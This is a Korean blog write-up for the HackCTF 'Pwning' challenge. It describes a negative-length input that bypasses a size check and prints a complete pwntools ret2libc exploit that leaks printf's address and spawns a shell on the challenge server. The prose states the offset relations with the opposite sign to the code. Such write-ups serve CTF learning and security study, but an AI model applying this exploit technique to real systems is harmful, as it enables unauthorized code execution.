ii4gsp

HackCTF - Pwning 본문

시스템 해킹/HackCTF

HackCTF - Pwning

ii4gsp 2020. 2. 19. 18:23

 

 

 

 

IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다.

 

 

 

 

get_n()함수로 nptr애 4byte만큼 입력할수있다.

입력한 4byte를 atoi()함수로 정수로 바꿔 v2에 저장한다.

v2가 32보다 크면 return이 실행되고 프로그램이 종료된다.

v2에 언더플로우를 일으키면 if문을 통과하게되고 get_n()함수로 ret를 덮을수있다.

 

 

 

 

system - printf = 0xe6e0

system - "/bin/sh" = 0x11e6eb

printf의 주소를 leak해서 실제주소를 알아내고, system()함수와 "/bin/sh"를 구해주면 된다.

 

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('/home/ii4gsp/HackCTF/pwning')

printf_plt = e.plt['printf']
printf_got = e.got['printf']
vuln_addr = 0x0804852f
offset1 = 0xe6e0
offset2 = 0x11e6eb

r.sendline('-1')
r.recvuntil('\n')

payload1 = ''
payload1 += '\x90' * 48
payload1 += p32(printf_plt)
payload1 += p32(vuln_addr)
payload1 += p32(printf_got)

r.sendline(payload1)

r.sendline('-1')
r.recvuntil('\n')

data = r.recv()
printf_addr = u32(data[:4])
system = printf_addr - offset1
binsh = system + offset2

payload2 = ''
payload2 += '\x90' * 48
payload2 += p32(system)
payload2 += '\x90' * 4
payload2 += p32(binsh)

r.sendline(payload2)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - ROP  (0) 2020.02.21
HackCTF - UAF  (0) 2020.02.19
HackCTF - Gift  (0) 2020.02.18
HackCTF - Look at me  (0) 2020.02.17
HackCTF - Beginner_Heap  (0) 2020.02.17
Comments